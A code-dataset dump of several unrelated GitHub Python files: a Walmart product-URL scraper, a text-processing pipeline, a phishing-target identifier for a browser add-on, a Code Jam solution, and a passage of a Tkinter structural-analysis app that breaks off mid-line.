CloseSpider(\"Invalid (short) URL file\")\n\n # this option is needed in middlewares.py used by all spiders\n self.use_proxy = False\n\n # build URL for search page with a specific search query. to be used with product ids as queries\n def build_search_page(self, query):\n searchpage_URL = \"http://www.walmart.com/search/search-ng.do?ic=16_0&Find=Find&search_query=%s&Find=Find&search_constraint=0\" % query\n return searchpage_URL\n\n # check if URL contains the product's id (therefore is valid)\n def valid_result(self, url, prod_id):\n return \"/\"+prod_id in url\n\n def parse(self, response):\n # take every id and pass it to the method that retrieves its URL, build an item for each of it\n for walmart_id in self.walmart_ids:\n item = WalmartItem()\n item['walmart_id'] = walmart_id\n item['walmart_short_url'] = \"http://www.walmart.com/ip/\" + walmart_id\n\n # search for this id on Walmart, get the results page\n search_page = self.build_search_page(walmart_id)\n request = Request(search_page, callback = self.parse_resultsPage, meta = {\"item\": item})\n yield request\n\n # get URL of first result from search page (search by product id)\n def parse_resultsPage(self, response):\n hxs = HtmlXPathSelector(response)\n item = response.meta['item']\n result = hxs.select(\"//div[@class='prodInfo']/div[@class='prodInfoBox']/a[@class='prodLink ListItemLink'][position()<2]/@href\").extract()\n if result:\n item['walmart_full_url'] = Utils.add_domain(result[0], \"http://www.walmart.com\")\n\n # id should be somewhere in the full URL as well\n if self.valid_result(item['walmart_full_url'], item['walmart_id']):\n return item\n else:\n # search again, but select result that contains id\n #OBS: non optimal, should do selecting here\n return Request(response.url, callback = self.parse_resultsPage2, meta = {\"item\":item})\n else:\n # try to find result by using the product name instead\n\n # get product name from product page, then search by it\n return Request(item['walmart_short_url'], callback = self.getProductName, meta = {\"item\":item})\n #self.log(\"No results for short_url \" + item['walmart_short_url'] + \"\\n\", level=log.ERROR)\n\n def getProductName(self, response):\n hxs = HtmlXPathSelector(response)\n title_holder = hxs.select(\"//h1[@class='productTitle']/text()\").extract()\n if title_holder:\n product_name = title_holder[0]\n\n # search by product name\n search_query = \"+\".join(product_name.split())\n search_page = self.build_search_page(search_query)\n return Request(search_page, callback = self.parse_resultsPage2, meta = {\"item\" : response.meta['item']})\n\n else:\n self.log(\"No results for short_url (didn't find product name) \" + response.url + \"\\n\", level=log.ERROR)\n\n # parse results page from search by product name - find URL that contains item id, if any\n def parse_resultsPage2(self, response):\n hxs = HtmlXPathSelector(response)\n\n item = response.meta['item']\n results = hxs.select(\"//div[@class='prodInfo']/div[@class='prodInfoBox']/a[@class='prodLink ListItemLink']/@href\").extract()\n for result in results:\n # if the result URL contains the id, this is the correct result\n if self.valid_result(item['walmart_id'], result):\n product_url = Utils.add_domain(result, \"http://www.walmart.com\")\n item['walmart_full_url'] = product_url\n return item\n\n\n # no results matching the condition were found\n self.log(\"No results for short_url (didn't find any URLs containing id) \" + item['walmart_short_url'] + \"\\n\", level=log.ERROR)\n\n\n\n\n\n\n","repo_name":"aprosdev/ecom-predictor","sub_path":"search/search/spiders/walmart_spider.py","file_name":"walmart_spider.py","file_ext":"py","file_size_in_byte":10014,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24370427748","text":"import dill\nfrom src.models.processing_functions import proc_name_mapping\n\n\nclass TextPipeline:\n def __init__(self,\n pipeline,\n language_processor=None):\n self.language_processor = language_processor\n\n # processing functions to apply for feature creation\n self.pipeline = pipeline\n self.transform_params = None\n\n def fit_transform(self, X):\n transform_params = {}\n for name, fit_params in self.pipeline:\n if name in proc_name_mapping.keys():\n proc = proc_name_mapping[name]\n else:\n raise ValueError('unknown data transform %s' % name)\n\n X, params = proc(X, fit=True, **fit_params)\n transform_params[name] = params\n\n self.transform_params = transform_params\n return X\n\n def transform(self, X):\n for name, _ in self.pipeline:\n transform_params = self.transform_params[name]\n if name in proc_name_mapping.keys():\n proc = proc_name_mapping[name]\n else:\n raise ValueError('unknown data transform %s' % name)\n X, _ = proc(X, fit=False, **transform_params)\n return X\n\n def __getstate__(self):\n \"\"\"Return state values to be pickled.\"\"\"\n odict = self.__dict__.copy()\n if 'vector_model' in odict:\n del odict['vector_model']\n return odict\n\n def __setstate__(self, state):\n self.__dict__.update(state)\n\n def save(self, filename, append=False):\n file_mode = 'ab' if append else 'wb'\n with open(filename, file_mode) as f:\n dill.dump(self, f)\n\n @staticmethod\n def load(filename, offset=0):\n with open(filename, 'rb') as f:\n f.seek(offset)\n text_pipeline = dill.load(f)\n\n return text_pipeline\n\n\n","repo_name":"Honeyfy/semi-supervised-text-classification","sub_path":"src/models/text_pipeline.py","file_name":"text_pipeline.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37490047457","text":"from autobahn.twisted.websocket import WebSocketClientProtocol, WebSocketClientFactory\nfrom twisted.python import log\nfrom twisted.internet import reactor, defer\n\nfrom urllib import parse\nimport requests\nimport re\nfrom sys import stdout\nfrom time import sleep\nimport json\nfrom os import path, mkdir, name\nfrom website import Website, split_mld_ps ,prune_link, guess_mld\nfrom datetime import datetime\nimport random\n\n#############\n# ARGUMENTS #\n#############\n\ndlroot = \"C:\\\\Program Log\\\\\"\n\n# header data for google search\nHEADERS = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0',}\n\n# regular expression for extracting urls\nGOOGLERX = re.compile(\"\"\"http[s]?://[^\\s'\"]*\"\"\")\n\n# max number of keywords extracted from a website\nMAXCOUNT = 5\n\n# stopmlds: mlds that almost always appear in Google's response\nSTOPMLDS = ['google', 'youtube', 'blogger', 'googleusercontent', 'schema']\n\ndef fetch_urls(query):\n \"\"\"\n Do a Google search with a given query. Extract all URLs from the response for later processing.\n\n Arguments\n ---------\n query: str\n string containing keywords separated by whitespace\n\n Returns\n -------\n urls: set\n the set of URLs returned by Google\n \"\"\"\n # quote whitespace so that the query can be placeed in a URL.\n query = parse.quote(query)\n url = 'http://www.google.com/search?q={}'.format(query)\n r = requests.get(url, headers=HEADERS)\n html = r.text\n urls = set()\n for url in GOOGLERX.findall(html):\n if '<' in url or '\\\\' in url: # Google highlights search results\n continue\n mld, ps = split_mld_ps(url)\n domain = mld + '.' + ps\n if domain == 'google.fi' or domain == 'googleusercontent.com':\n continue\n urls.add(url)\n return urls\n\n\ndef extract_domains(url_set, logging=False):\n \"\"\"\n Extract mail level domains and public suffixes from a set of urls.\n\n Returns\n -------\n domains : set\n tuples of form (mld, ps)\n \"\"\"\n domains = set()\n for url in url_set:\n mld, ps = split_mld_ps(url)\n domains.add((mld, ps))\n #print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- domains returned by google\")\n return domains\n\n\ndef prominent_domains(ws, terms, extended_search=False):\n\n domains = query_domains(terms)\n #print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- query response received\")\n mld_guesses = set()\n # for link in ws.loglinks:\n # mld_guesses = website.guess_mld(link, ws.boosted_intersection_terms())\n\n url_tokens = prune_link(ws.starturl)\n url_tokens += ' ' + prune_link(ws.landurl)\n\n targets = set()\n for mld, ps in domains:\n if not mld:\n continue\n mld = mld.lower()\n ps = ps.lower()\n if mld in ws.keywords:\n targets.add('.'.join([mld, ps]))\n elif mld in ws.boosted_keywords:\n targets.add('.'.join([mld, ps]))\n elif mld in mld_guesses:\n targets.add('.'.join([mld, ps]))\n elif len(mld) > 2:\n if mld in re.sub('\\s+', '', ws.title):\n targets.add('.'.join([mld, ps]))\n elif mld in url_tokens:\n targets.add('.'.join([mld, ps]))\n elif extended_search:\n if mld in ws.text_with_title:\n targets.add('.'.join([mld, ps]))\n elif mld in re.sub('\\s+', '', ws.ocrtext):\n targets.add('.'.join([mld, ps]))\n\n link_domains = set(split_mld_ps(link) for link in ws.loglinks + ws.source_links)\n\n # remove mlds that often occur: google, blogger, ... These are STOPMLDS\n link_domains = set((mld, ps) for (mld, ps) in link_domains if mld not in STOPMLDS)\n for dom in domains:\n if dom in link_domains and dom not in targets:\n targets.add('.'.join(dom))\n return targets\n\n\ndef query_domains(terms):\n \"\"\"\n Query Google with given terms and extract domains.\n\n Parameters\n ----------\n terms : str, list, or set\n collection of query terms\n\n Returns\n -------\n domains : set\n set of domains in the form (mld, ps) extracted from the query result.\n \"\"\"\n\n if not isinstance(terms, str):\n termstr = ' '.join(sorted(terms))\n else:\n termstr = terms\n\n urls = fetch_urls(termstr)\n domains = extract_domains(urls)\n return domains\n\n\ndef first_steps(ws, terms):\n targets = set()\n # rd in url?\n mld, ps = split_mld_ps(ws.landurl)\n RD = mld + '.' + ps\n domains = query_domains(terms)\n for dom in domains:\n rd = '.'.join(dom) # rd = mld.ps\n if rd == RD:\n return RD\n if rd in ' '.join(ws.urls):\n targets.add(rd)\n if targets:\n return targets\n # rd in links?\n link_domains = set(split_mld_ps(link) for link in ws.loglinks + ws.source_links)\n # remove mlds that often occur: google, blogger, ... These are STOPMLDS\n link_domains = set('.'.join(dom) for dom in link_domains if dom[0] not in STOPMLDS)\n for dom in domains:\n rd = '.'.join(dom) # rd = mld.ps\n if rd in link_domains:\n # logger.print('found {} from links'.format(rd))\n targets.add(rd)\n return targets\n\n\ndef identify_target(ws):\n\n starturl = ws.starturl\n landurl = ws.landurl\n\n # registered domain of the website\n mld, ps = split_mld_ps(landurl)\n RD = mld + '.' + ps\n\n targets = set()\n\n # STEP 0: guessable domain\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- STEP 0: guesses for mlds\")\n queried = set()\n mld_guesses = set()\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- starting and landing urls:\")\n # starting and landing urls\n for url in ws.urls:\n mld = split_mld_ps(url)[0]\n if mld not in queried:\n queried.add(mld)\n mld_guesses |= guess_mld(url, ws.boosted_intersection_terms())\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- links:\")\n # links\n for url in ws.loglinks + ws.source_links:\n mld, rd = split_mld_ps(url)\n if rd and mld not in queried and mld not in ['w3', 'schema', 'googleapis']:\n queried.add(mld)\n mld_guesses |= guess_mld(mld + '.' + rd, ws.boosted_intersection_terms())\n\n queried = set()\n for mld in set(mld_guesses):\n if len(mld) > 4:\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- querying:\")\n targets |= prominent_domains(ws, mld, extended_search=False)\n if RD in targets:\n return RD, [RD, '', ''] # not phishing\n\n # STEP 1: prominent terms\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- STEP 1: prominent terms:\")\n if ws.keywords:\n targets |= prominent_domains(ws, ws.keywords, extended_search=False)\n if RD in targets:\n return RD, [RD, '', ''] # not phishing\n\n # STEP 2: boosted prominent terms\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- STEP 2: boosted prominent terms\")\n if ws.boosted_keywords:\n targets |= prominent_domains(ws, ws.keywords, extended_search=False)\n if RD in targets:\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- legal site:\")\n return RD, [RD, '', ''] # not phishing\n\n if not targets:\n return 'unknown', ['unknown', '', '']\n\n print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" -- Targets: {}\".format(targets))\n\n mlds = set()\n mldToFullDomain = {}\n for domain in targets:\n if len(split_mld_ps(domain)[0]) > 2:\n mldToFullDomain[split_mld_ps(domain)[0]] = domain\n mlds.add(split_mld_ps(domain)[0])\n\n dump = ''\n dump += ' '.join(ws.urls)\n dump += ' ' + ws.title\n dump += ' ' + ws.text_with_title # gives title an extra nudge\n dump = re.sub('\\s+', '', dump)\n d = {}\n for mld in mlds:\n d[mld] = dump.count(mld)\n li = sorted(d.items(), key=lambda x: x[1], reverse=True)\n top3 = li[:3]\n top3 = [x[0] for x in top3]\n main_target = top3[0]\n\n mldWithFullDomain = {}\n for top in top3:\n mldWithFullDomain[top] = mldToFullDomain[top]\n\n return main_target, mldWithFullDomain\n\n\ndef target_analyse(data):\n\n json_data = {'jspageid': data['jspageid']}\n json_data['siteid'] = data['siteid']\n\n ws = Website(json=data)\n target_identity = identify_target(ws)\n\n mld = '.'.join(split_mld_ps(data['landurl']))\n\n if mld == target_identity[0]:\n json_data['falsePositive'] = True\n else:\n json_data['falsePositive'] = False\n\n json_data['target'] = target_identity[0]\n json_data['otherTargets'] = target_identity[1]\n # print('Identified Target: ' + target_identity[0] + \"\\t/ other potential targets: \" + str(target_identity[1]))\n\n return json_data\n\n\nclass MyWorkerProtocol(WebSocketClientProtocol):\n\n def __init__(self):\n self.workerId = random.randint(1, 100)\n self.count = 0\n\n def onConnect(self, request):\n print(\"Client connecting: {}\".format(request.peer))\n\n def onOpen(self):\n self.workerId = random.randint(1,100)\n self.count = 0\n print(\"WebSocket connection open.\")\n dict = {}\n dict['addidentifier'] = \"I'm a new identifier\"\n self.sendMessage(json.dumps(dict).encode('utf-8'), False)\n\n def onMessage(self, payload, isBinary):\n self.count += 1\n if isBinary:\n dict = json.loads(payload)\n else:\n if payload.decode('utf8') == 'undefined' :\n return\n dict = json.loads(payload.decode('utf8'))\n\n if 'type' in dict:\n if dict['type'] == \"error\":\n print(\"Error message received: {}\\n\".format(dict))\n return\n\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" TARGET -- website: \"+dict['starturl'])\n\n d = defer.Deferred()\n d.addCallback(target_analyse)\n d.addCallback(self.sendResult)\n d.callback(dict)\n\n def sendResult(self, res):\n res_json = json.dumps(res).encode('utf-8')\n # print(datetime.now().strftime(\"%H:%M:%S.%f\")+\" TARGET -- Result: {}\\n\".format(res_json))\n self.sendMessage(res_json, False)\n\n def onClose(self, wasClean, code, reason):\n print(\"WebSocket connection closed: {}\\n\".format(reason))\n sleep(3)\n reactor.connectTCP(\"127.0.0.1\", 9000, factory)\n\n\ndef choose_resource_path():\n global dlroot\n if name == \"nt\":\n if not path.exists(dlroot):\n mkdir(dlroot)\n if name == \"posix\":\n dlroot = path.abspath(\".\")\n\n########\n# main #\n########\n\nif __name__ == '__main__':\n\n choose_resource_path()\n\n #log.startLogging(stdout)\n log.startLogging(open(path.join(dlroot, 'log_tar.txt'), 'a'))\n\n factory = WebSocketClientFactory(u\"ws://127.0.0.1:9000\", debug=False)\n factory.protocol = MyWorkerProtocol\n\n reactor.connectTCP(\"127.0.0.1\", 9000, factory)\n reactor.run()","repo_name":"Rajagopalan-Ranganathan/Pishind-Detection-Add-On-Firefox","sub_path":"script/script/sources/target_identifier.py","file_name":"target_identifier.py","file_ext":"py","file_size_in_byte":10884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23422278191","text":"#!/usr/bin/env python3\n# coding: utf-8\n\ndef solve():\n n = 0\n while (C - X) / (2 + n * F) < -X / (2 + (n + 1) * F):\n n += 1\n\n ans = 0\n for i in range(n):\n ans += C / (2 + i * F)\n ans += X / (2 + n * F)\n\n return ans\n\nfor case in range(int(input())):\n C, F, X = map(float, input().split(' '))\n print('Case #{}: {:.7f}'.format(case + 1, solve()))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1564.py","file_name":"1564.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41519896040","text":"\"\"\"\nDeveloper: Weng Chong LAO\nStart date: 03/03/2021\n\nProject name: iStruct2D\nProgramming Language: Python\nDescription: This project is my individual project, the purpose of the project is to\n develop a prototype of the structural analysis software by using Python,\n this software is using Direct Stiffness Method to solve the bending moment diagram,\n shear force diagram, deflection and reaction force for an input structure,\n then representing the result in a comprehensive user interface.\n\"\"\"\n\nimport math\nimport tkinter as tk\nfrom directStiffnessMethod.structure import Structure\nfrom directStiffnessMethod.matrixCalculation import MatrixCalculation\nfrom tkinter import *\nfrom PIL import ImageTk, Image\nfrom tkinter import simpledialog\nfrom tkinter import filedialog\nfrom reportlab.platypus import SimpleDocTemplate\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.platypus import Table\nfrom reportlab.platypus import TableStyle\n\n\nclass DataInput(object):\n \"\"\"\n A pop-up window for the data input\n \"\"\"\n\n def __init__(self, master, app, title, inputs, id=None, pictures=None, windowSize=None, tips=None):\n \"\"\"\n Initiating a pop-up window for the data input\n\n :param master: tk.Tk()\n :param app: iStruct2D window\n :param title: title for the pop-up window\n :param inputs: list of required input parameter strings\n :param id: id of the input data\n :param pictures: list of picture name\n :param windowSize: size of the original window\n :param tips: tip string\n \"\"\"\n self._master = master\n self._master.title(title)\n self._title = title\n self._master.protocol(\"WM_DELETE_WINDOW\", self.cancel)\n size = len(inputs)*65\n if title == \"Add Member Uniformly Distributed Load\":\n size = len(inputs)*80\n self._master.geometry(\"400x\" + str(size) + \"+\" + str(round(windowSize[0]*0.4)) + \"+\" + str(round(windowSize[1]*0.25)))\n self._app = app\n self._unit = self._app._unit\n\n self._inputs = []\n\n if app._moving == True:\n app._moving = False\n app._origin = [100, 800]\n app.updateOrigin()\n app._canvas.unbind(\"\")\n\n for index in range(0, len(inputs)):\n\n tk.Label(self._master, text=inputs[index]+\" = \").pack()\n text = tk.Text(self._master, height = 1, width = 15, bd=2, bg=\"grey\")\n\n if self._title == \"Add Member\":\n text.config(width = 20)\n\n if id != None and index == id[0]:\n text.insert(tk.INSERT, str(id[1]))\n\n if self._title == \"Add Node\" and index == 3:\n text.bind(\"\", self.clear)\n\n text.pack()\n self._inputs.append(text)\n\n if pictures != None:\n self._master.geometry(\"300x400\")\n self._inputs.append(tk.Text(self._master, height = 1, width = 15))\n\n self.names =[]\n for item in pictures:\n self.names.extend(pictures[item])\n\n for support in pictures:\n self._supportFrame = tk.Frame(self._master)\n self._supportFrame.pack(pady=5)\n for fileName in pictures[support]:\n img = Image.open('supportType/'+fileName)\n image = img.resize((40, 40))\n picture = ImageTk.PhotoImage(image)\n supportButton = tk.Button(self._supportFrame, image=picture, command = lambda x=fileName: self.supportButton(x))\n supportButton.image = picture\n supportButton.pack(side=tk.LEFT, padx=5)\n\n self._buttonFrame = tk.Frame(self._master)\n self._buttonFrame.pack(pady=10)\n\n self._addButton = tk.Button(self._buttonFrame, text=\"Add\", command = self.add)\n self._addButton.pack(side = tk.LEFT, padx = 10)\n\n self._cancelButton = tk.Button(self._buttonFrame, text=\"Cancel\", command = self.cancel)\n self._cancelButton.pack(side = tk.RIGHT, padx = 10)\n\n if tips != None:\n if pictures != None:\n self._master.geometry(\"300x450\")\n tk.Label(self._master, text=tips, fg=\"#D0701A\").pack()\n\n\n def clear(self, event):\n \"\"\"\n Clear the input box\n \"\"\"\n self._inputs[4].delete(\"0.0\", tk.END)\n\n\n def supportButton(self, type):\n \"\"\"\n Input the required support type string to the input box\n\n :param type: support type string\n \"\"\"\n self._inputs[3].delete(\"0.0\", tk.END)\n type = type.split(\".\")\n typeName = type[0][0:3]\n self._inputs[3].insert(tk.INSERT, typeName)\n\n self._inputs[4].delete(\"0.0\", tk.END)\n self._inputs[4].insert(tk.INSERT, type[0])\n\n\n def close(self):\n \"\"\"\n Close the pop-up window\n \"\"\"\n self._master.destroy()\n\n\n def cancel(self):\n \"\"\"\n Cancel the input process and close the pop-up window\n \"\"\"\n if self._title == \"Add Member Uniformly Distributed Load\":\n self._app.displayData(\"Fail to add \" + self._title.split(\" \",2)[2] + \"\\n\")\n else:\n self._app.displayData(\"Fail to add \" + self._title.split(\" \",1)[1] + \"\\n\")\n self._master.destroy()\n\n\n def add(self):\n \"\"\"\n Add the relevant data from user's input to iStruct2D\n \"\"\"\n result = []\n\n for x in self._inputs:\n result.append(x.get(\"0.0\", tk.END).strip())\n\n # Generate the Node\n if self._title == \"Add Node\":\n x = float(result[1])\n y = float(result[2])\n if self._unit[1] == \"m\":\n x = x*1000\n y = y*1000\n self._app.createNode(result[0], x, y, result[3], result[4], True)\n\n # Generate the Member\n if self._title == \"Add Member\":\n self._app.createMember(result[0], result[1], result[2], result[3], result[4], result[5], result[6], True)\n\n # Generate the Node Loading\n if self._title == \"Add Nodal Load\":\n Fx = float(result[1])\n Fy = float(result[2])\n M = float(result[3])\n if self._unit[0] == \"kN\":\n Fx = Fx*1000\n Fy = Fy*1000\n M = M*1000\n if self._unit[1] == \"m\":\n M = M*1000\n self._app.createNodalLoad(result[0], Fx, Fy, M, True)\n\n # Generate the Member Point Loading\n if self._title == \"Add Member Point Load\":\n x = float(result[1])\n Fx = float(result[2])\n Fy = float(result[3])\n if self._unit[1] == \"m\":\n x = x*1000\n if self._unit[0] == \"kN\":\n Fx = Fx*1000\n Fy = Fy*1000\n self._app.createMemberPointLoad(result[0], x, Fx, Fy)\n\n # Generate the Member UDL\n if self._title == \"Add Member Uniformly Distributed Load\":\n w = float(result[1])\n if self._unit[1] == \"m\":\n w = w/1000\n if self._unit[0] == \"kN\":\n w = w*1000\n self._app.createMemberUniformlyDistributedLoad(result[0], w)\n\n # Close the pop-up window at the end\n self.close()\n\n\nclass App(object):\n \"\"\"\n Main window of iStruct2D\n \"\"\"\n\n def __init__(self, master):\n \"\"\"\n Initiating the main window of iStruct2D\n Basic UI setup\n\n :param master: tk.Tk()\n \"\"\"\n self._master = master\n self._master.title(\"iStruct2D\")\n\n self._filename = None\n\n self._windowWidth = self._master.winfo_screenwidth()\n self._windowHeight = self._master.winfo_screenheight()\n self._windowSize = (self._windowWidth, self._windowHeight)\n\n #self._master.geometry(\"1250x950\")\n self._master.geometry(str(round(self._windowWidth*0.86))+\"x\"+str(round(self._windowHeight*0.82))+\"+\"\n +str(round(self._windowWidth*0.07))+\"+\"+str(round(self._windowHeight*0.05)))\n\n self._canvasFrame = tk.Frame(self._master)\n self._canvasFrame.pack(fill=tk.X)\n\n self._canvas = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n self._canvas.pack(side=tk.LEFT)\n\n self._canvasDeflectedShape = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n self._canvasReactionForce = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n self._canvasAxialLoad = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n self._canvasShearForce = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n self._canvasBendingMoment = tk.Canvas(self._canvasFrame, bg=\"#DEE7EF\", height=round(self._windowHeight*0.82), width=round(self._windowWidth*0.65))\n\n self._canvasDisplay = tk.Text(self._canvasFrame, bg=\"#2B2B2B\", fg=\"#BBBBBB\", pady=5, padx=5, font=(\"Arial\", 15),\n spacing3=10)\n\n scrollbar = tk.Scrollbar(self._canvasFrame, orient='vertical', command=self._canvasDisplay.yview)\n self._canvasDisplay['yscrollcommand'] = scrollbar.set\n\n self._canvasDisplay.pack(side=tk.LEFT, fill=tk.BOTH)\n\n self._addNodeButton = tk.Label(self._master, text=\"Add Node\",fg=\"#BBBBBB\", bg=\"#2B2B2B\")\n self._addNodeButton.bind(\"\", lambda event:self.addNode())\n self._addNodeButton.place(anchor=\"sw\", x=5, rely=0.99)\n\n self._addMemberButton = tk.Label(self._master, text=\"Add Member\",fg=\"#BBBBBB\", bg=\"#2B2B2B\")\n self._addMemberButton.bind(\"\", lambda event:self.addMember())\n self._addMemberButton.place(anchor=\"sw\", x=80, rely=0.99)\n\n self._analyseButton = tk.Label(self._master, text=\"Analyse\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", font=(\"Arial\", 18))\n self._analyseButton.bind(\"\", lambda event:self.analyseStructure())\n self._analyseButton.place(anchor=\"sw\", x=round(self._windowWidth*0.65)-78, rely=0.99)\n\n self._addPointLoadButton = tk.Label(self._master, text=\"Add Nodal Load\",fg=\"#BBBBBB\", bg=\"#2B2B2B\")\n self._addPointLoadButton.bind(\"\", lambda event:self.addNodalLoad())\n self._addPointLoadButton.place(anchor=\"sw\", x=173, rely=0.99)\n\n self._addMemberPointLoadButton = tk.Label(self._master, text=\"Add Member Point Load\",fg=\"#BBBBBB\", bg=\"#2B2B2B\")\n self._addMemberPointLoadButton.bind(\"\", lambda event:self.addMemberPointLoad())\n self._addMemberPointLoadButton.place(anchor=\"sw\", x=284, rely=0.99)\n\n self._addMemberUniformlyDistributedLoadButton = tk.Label(self._master, text=\"Add Uniformly Distributed Load\", fg=\"#BBBBBB\", bg=\"#2B2B2B\")\n self._addMemberUniformlyDistributedLoadButton.bind(\"\", lambda event:self.addMemberUniformlyDistributedLoad())\n self._addMemberUniformlyDistributedLoadButton.place(anchor=\"sw\", x=445, rely=0.99)\n\n menubar = tk.Menu(self._master)\n self._master.config(menu=menubar)\n filemenu = tk.Menu(menubar)\n menubar.add_cascade(label=\"File\", menu=filemenu)\n filemenu.add_command(label=\"New\", command=self.new)\n filemenu.add_command(label=\"Open\", command=self.open)\n filemenu.add_command(label=\"Save\", command=self.save)\n filemenu.add_command(label=\"Save As\", command=self.saveAs)\n filemenu.add_command(label=\"Quit\", command= lambda : self._master.destroy())\n\n filemenu2 = tk.Menu(menubar)\n menubar.add_cascade(label=\"Structure\", menu=filemenu2)\n filemenu2.add_command(label=\"Add Node\", command= self.addNode)\n filemenu2.add_command(label=\"Add Member\", command=self.addMember)\n\n filemenu3 = tk.Menu(menubar)\n menubar.add_cascade(label=\"Load\", menu=filemenu3)\n filemenu3.add_command(label=\"Add Nodal Load\", command=self.addNodalLoad)\n filemenu3.add_command(label=\"Add Member Point Load\", command=self.addMemberPointLoad)\n filemenu3.add_command(label=\"Add Uniformly Distributed Load\", command=self.addMemberUniformlyDistributedLoad)\n\n filemenu4 = tk.Menu(menubar)\n menubar.add_cascade(label=\"Analysis\", menu=filemenu4)\n filemenu4.add_command(label=\"Linear Analysis\", command=self.analyseStructure)\n filemenu4.add_command(label=\"Generate Results\", command=self.generatePdfResult)\n\n filemenu5 = tk.Menu(menubar)\n menubar.add_cascade(label=\"Settings\", menu=filemenu5)\n filemenu5.add_command(label=\"Unit\")\n filemenu5.add_command(label=\"Decimal Place\")\n filemenu5.add_command(label=\"Diagram Step\")\n\n self._matrixCalculator = MatrixCalculation()\n\n self._deflectedShapeLabel = tk.Label(self._canvasFrame, text=\"Deflected Shape\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", width=12)\n self._deflectedShapeLabel.bind(\"\", lambda event:self.clickResultLabel(event, 1))\n self._reactionForceLabel = tk.Label(self._canvasFrame, text=\"Reaction Force\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", width=11)\n self._reactionForceLabel.bind(\"\", lambda event:self.clickResultLabel(event, 2))\n self._axialLoadLabel = tk.Label(self._canvasFrame, text=\"Axial Load\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", width=8)\n self._axialLoadLabel.bind(\"\", lambda event:self.clickResultLabel(event, 3))\n self._shearForceLabel = tk.Label(self._canvasFrame, text=\"Shear Force\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", width=9)\n self._shearForceLabel.bind(\"\", lambda event:self.clickResultLabel(event, 4))\n self._bendingMomentLabel = tk.Label(self._canvasFrame, text=\"Bending Moment\", fg=\"#BBBBBB\", bg=\"#2B2B2B\", width=12)\n self._bendingMomentLabel.bind(\"\", lambda event:self.clickResultLabel(event, 5))\n self._selectedLabel = 0\n\n self.new()\n self.showResultLabel()\n\n\n def singularityFunction(self, x, a):\n \"\"\"\n Determination of the singularity for the point load diagram\n \"\"\"\n if a > x:\n return 0\n else:\n return 1\n\n def singularityFunctionForBending(self, x, a):\n \"\"\"\n Determination of the singularity for the bending diagram\n \"\"\"\n if a >= x:\n return 0\n else:\n return x-a\n\n\n def createGraph(self, canvas, originalStructure, deflectedStructure=None, reactionForce=None, axialLoad=None,\n shearForce=None, bendingMoment=None):\n \"\"\"\n Generating the result diagram\n\n :param canvas: canvas instance\n :param originalStructure: the structure instance that user created\n :param deflectedStructure: the deflected structure which was affected by the applied loading\n :param reactionForce: reactional force of the support\n :param axialLoad: axial force in the member\n :param shearForce: shear force in the member\n :param bendingMoment: bending moment in the member\n \"\"\"\n self.drawGridLine(canvas)\n\n # Draw the axial direction for x-axis and y-axis\n canvas.create_line([(30, 860), (100, 860)], width=2, fill=\"#716FB0\")\n canvas.create_line([(100, 860), (95, 855)], width=2, fill=\"#716FB0\")\n canvas.create_line([(100, 860), (95, 865)], width=2, fill=\"#716FB0\")\n canvas.create_line([(30, 860), (30, 790)], width=2, fill=\"#716FB0\")\n canvas.create_line([(30, 790), (35, 795)], width=2, fill=\"#716FB0\")\n canvas.create_line([(30, 790), (25, 795)], width=2, fill=\"#716FB0\")\n\n # Draw the axial label for x-axis and y-axis\n canvas.create_text(105, 860, text=\"x\", fill=\"#716FB0\", width=2)\n canvas.create_text(30, 780, text=\"y\", fill=\"#716FB0\", width=2)\n\n # Draw the nodes\n nodes = originalStructure[\"node\"].copy()\n for data in nodes:\n self.createNode(data[0], data[1],data[2], data[3], data[4], False, canvas)\n\n # Draw the members\n members = originalStructure[\"member\"].copy()\n for data in members:\n self.createMember(data[0], data[1],data[2], data[3], data[4], data[5], data[6], False, canvas)\n\n # Draw the deflected structure if there is one\n if deflectedStructure != None:\n for node in deflectedStructure[\"node\"].copy():\n self.createSimpleNode(node[1], node[2], canvas)\n if len(node) > 3:\n deltaY = 15\n for labelIndex in range(3,len(node)):\n deltaY = deltaY + 15\n canvas.create_text((node[1]/self._scaling + self._origin[0]), (self._origin[1] - node[2]/self._scaling) - deltaY, text=node[labelIndex], fill=\"#953BCB\", font=(\"Arial\", 10))\n\n for member in deflectedStructure[\"member\"].copy():\n for node in deflectedStructure[\"node\"].copy():\n if 